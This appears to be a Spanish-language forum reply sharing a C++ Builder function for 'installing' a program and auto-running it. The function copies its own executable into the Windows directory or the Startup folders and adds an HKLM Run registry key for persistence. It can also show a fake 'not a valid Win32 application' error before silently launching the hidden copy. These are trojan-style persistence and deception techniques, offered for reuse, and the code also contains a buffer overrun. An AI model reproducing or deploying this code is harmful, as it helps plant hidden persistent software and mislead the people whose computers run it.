aqui te pongo una funcion que uso a menudo para la instalacion y posterior autoejecucion
de un programa. La funcion no esta perfeccionada y es muy probable que le encuentres cosas que no te gusten y prefieras eliminar o simplemenete que concideres inapropiadas, esto se debe principalmente a mi vagancia ya que cuando escrbi la funcion no disponia de mucha experiencia e incluso se ha visto sujeta a migracion de lenguajes.Pero una de las razones que han motivado mi vagancia a no modificarla es que la he usado mucho asi como esta y hasta ahora nunca ha tenido problema.Espero que sea algo como esto lo que estes buscando
void Instalate(String Nombre,bool ErrorMsg)
{
unsigned long MaxL = 50;
char WinDir[14], cNombreUsuario[50];
BOOL instalado = false;
String NombreUsuario;
GetWindowsDirectoryA(WinDir,14);
GetUserNameA(cNombreUsuario,&MaxL);
NombreUsuario = cNombreUsuario;
String WD = WinDir;
if (FileExists(WD+"\\"+Nombre+".exe"))
{ instalado = true; }
if (FileExists("C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe"))
{ instalado = true; }
if ( instalado == false )
{
TMemoryStream *Exe;
TRegistry *Reg;
Exe = new TMemoryStream;
Exe->LoadFromFile(Application->ExeName);
try
{
Exe->SaveToFile(WD+"\\"+Nombre+".exe");
} catch(...)
{
try
{
Exe->SaveToFile("C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
}
catch (...)
{
try
{
Copiar(Application->ExeName,"C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
} catch (...) {}
}
}
Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",false);
try
{
Reg->WriteString(Nombre,WD+"\\"+Nombre+".exe");
} catch(...)
{
try
{
Exe->SaveToFile("C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
}
catch (...)
{
try
{
Copiar(Application->ExeName,"C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
} catch (...) {}
}
}
delete Exe;
String sTemp = WD+"\\"+Nombre+".exe";
char *Path;
Path = new char[sTemp.Length()];
for (int i=0; i<=sTemp.Length(); i++)
{
Path[i] = 0;
}
for (int i=0; i<sTemp.Length(); i++)
{
Path[i] = sTemp[i+1];
}
String sMens;
char cMens[255];
sMens = Application->ExeName+" no es una aplicación Win32 válida.";
StrToCh(sMens,cMens);
if (ErrorMsg) {
MessageBoxA(NULL,cMens,"Error",MB_ICONSTOP);
}
WinExec(Path,SW_NORMAL);
delete[] Path;
delete Reg;
Application->Terminate();
}
}